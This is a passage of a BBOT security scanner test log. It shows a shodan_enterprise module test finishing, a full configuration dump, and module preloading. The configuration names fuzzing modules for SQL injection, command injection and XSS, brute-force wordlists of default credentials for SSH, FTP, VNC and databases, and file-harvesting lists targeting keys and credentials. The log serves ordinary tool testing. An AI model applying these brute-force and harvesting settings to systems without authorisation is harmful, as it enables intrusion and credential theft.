19:10:17,957 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 19:10:17,957 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,958 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED -2026-02-27 19:10:17,958 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com -2026-02-27 19:10:17,958 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'target', 'unresolved', 'domain', 'in-scope'} -2026-02-27 19:10:17,958 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,959 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 19:10:17,959 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_enterprise_test_kvue4izjfx', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_kvue4izjfx', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_kvue4izjfx'}, 'started_at': '2026-02-27T19:10:17.252776', 'finished_at': '2026-02-27T19:10:17.810615', 'duration_seconds': 0.557839, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 19:10:17,960 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 19:10:17,960 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:a7ca11600dde8d6aeb6075467996d9119b56f4bd', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 19:10:17,961 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 19:10:17,961 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 19:11:43,417 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:11:43,431 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:11:43,433 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:11:43,434 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:11:43,436 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:11:43,437 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:11:43,440 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:11:43,441 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:11:43,446 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:11:43,447 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:11:43,449 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:11:43,450 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:11:43,452 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:11:43,452 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:11:43,454 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:11:43,455 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:11:43,456 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:11:43,456 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:11:43,457 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:11:43,458 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:11:43,460 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:11:43,460 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:11:43,461 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:11:43,462 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:11:43,463 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:11:43,464 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:11:43,465 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:11:43,466 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:11:43,467 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:11:43,467 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:11:43,468 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:11:43,469 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:11:43,470 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:11:43,471 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:11:43,471 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:11:43,472 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:11:43,473 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:11:43,473 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:11:43,474 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:11:43,475 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:11:43,476 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:11:43,477 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:11:43,477 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:11:43,478 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:11:43,479 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:11:43,480 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:11:43,480 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:11:43,481 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:11:43,482 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:11:43,483 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:11:43,484 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:11:43,485 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:11:43,485 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:11:43,486 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:11:43,486 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:11:43,487 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:11:43,488 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:11:43,488 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:11:43,489 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:11:43,489 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:11:43,490 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:11:43,491 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:11:43,496 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:11:43,496 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:11:43,497 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:11:43,498 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:11:43,499 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:11:43,499 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:11:43,500 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:11:43,501 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:11:43,501 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:11:43,502 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:11:43,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:11:43,503 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:11:43,504 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:11:43,505 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:11:43,505 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:11:43,506 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:11:43,506 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:11:43,507 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:11:43,507 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:11:43,508 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:11:43,509 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:11:43,509 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:11:43,510 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:11:43,511 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:11:43,511 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:11:43,512 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:11:43,517 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:11:43,518 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:11:43,519 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:11:43,519 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:11:43,520 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:11:43,521 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:11:43,522 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:11:43,523 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:11:43,523 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:11:43,524 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:11:43,525 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:11:43,526 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:11:43,526 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:11:43,527 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:11:43,528 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:11:43,529 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:11:43,529 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:11:43,530 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:11:43,530 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:11:43,531 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:11:43,531 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:11:43,532 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:11:43,533 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:11:43,533 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:11:43,534 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:11:43,535 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:11:43,535 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:11:43,537 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:11:43,538 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:11:43,538 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:11:43,539 [DEBUG] bbot.module_loader 